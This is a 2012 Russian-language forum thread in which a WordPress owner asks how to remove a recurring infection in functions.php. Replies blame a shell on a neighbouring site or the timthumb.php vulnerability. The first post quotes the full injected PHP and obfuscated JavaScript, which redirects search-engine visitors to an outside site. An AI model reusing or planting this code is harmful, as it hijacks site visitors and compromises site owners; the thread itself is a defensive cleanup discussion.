Что такое timthumb Php? - Веб-строительство

Помогите избавиться от вируса на wordpress

adnim · 2012-02-09T18:21:18.0000000Z

Помогите пожалуйста, удалить вирус JS:Redirection-MR Trojan (антивирус выдал) прописывается в файле functions.php (движок Wordpress) вот код: <?php add_action('get_footer', 'add_sscounter'); function add_sscounter(){ echo ''; if(function_exists('is_user_logged_in')){ if(time()%2 == 0 && !is_user_logged_in()){ echo "<script language=\"JavaScript\">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\\b'+e(c)+'\\\b','g'),k[c]);return p}('e r=x.9,t=\"\",q;4(r.3(\"m.\")!=-1)t=\"q\";4(r.3(\"7.\")!=-1)t=\"q\";4(r.3(\"8.\")!=-1)t=\"p\";4(r.3(\"a.\")!=-1)t=\"q\";4(r.3(\"f.\")!=-1)t=\"g\";4(r.3(\"j.\")!=-1)t=\"q\";4(t.6&&((q=r.3(\"?\"+t+\"=\"))!=-1||(q=r.3(\"&\"+t+\"=\"))!=-1))B.C=\"v\"+\"w\"+\":/\"+\"/A\"+\"b\"+\"k\"+\"5\"+\"h.\"+\"c\"+\"z/s\"+\"u\"+\"5\"+\"h.p\"+\"d?\"+\"t\"+\"y=1&t\"+\"i\"+\"l=\"+r.n(q+2+t.6).o(\"&\")[0];',39,39,'|||indexOf|if|rc|length|msn|yahoo|referrer|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|ms|google|substring|split||||||ea|ht|tp|document|||go|window|location'.split('|'),0,{}))</script>"; } } } ?> Удалил вчера и выставил права только чтение на файл functions.php, но не помогло, сегодня он опять туда прописался :madd:. Где его найти и удалить??

TK

9

tos-ka

26 марта 2012, 01:59

#11

актуально.

Подскажите, что этот код делает7

78

WebGomel

26 марта 2012, 02:11

#12

tos-ka:

Подскажите, что этот код делает7

Перенаправляет посетителей пришедших с поисковиков на левый сайт

Стучите в личку, помогу

Удалённый системный администратор ( https://remadmin.com )

TK

9

tos-ka

26 марта 2012, 02:52

#13

WebGomel, скрипт то я убрал, боюсь как-бы он не появился снова. Как бы протестить сайт на дыры

78

WebGomel

26 марта 2012, 02:59

#14

tos-ka:
Как бы протестить сайт на дыры

Всегда когда я видел этот код, был и шелл, причём не на поражённом сайте, а на соседних. Ещё сайты есть в аккауте, и если да, то на чём?

А вообще считается, что этому виной timthumb.php

TK

9

tos-ka

26 марта 2012, 05:02

#15

есть соседний на джумле

78

WebGomel

26 марта 2012, 14:38

#16

tos-ka:
есть соседний на джумле

И 100% на этом соседнем залит шелл))

TK

9

tos-ka

27 марта 2012, 01:18

#17

WebGomel:
И 100% на этом соседнем залит шелл))

Да вроде нету, а вот timthumb.php есть ((

Как дыру закрыть не подскажешь?

S3

109

sok3535

27 марта 2012, 01:32

#18

http://timthumb.googlecode.com/svn/trunk/timthumb.php

TK

9

tos-ka

27 марта 2012, 01:57

#19

sok3535:
http://timthumb.googlecode.com/svn/trunk/timthumb.php

Спасибо конечно, но мне это не поможет. Подсказали бы конкретней

TK

9

tos-ka

27 марта 2012, 01:57

#20

sok3535:
http://timthumb.googlecode.com/svn/trunk/timthumb.php

Спасибо конечно, но мне это не поможет. Подсказали бы конкретней

В 2023 году Google заблокировал более 170 млн фальшивых отзывов на Картах

Все что нужно знать о DDоS-атаках грамотному менеджеру

Помогите избавиться от вируса на wordpress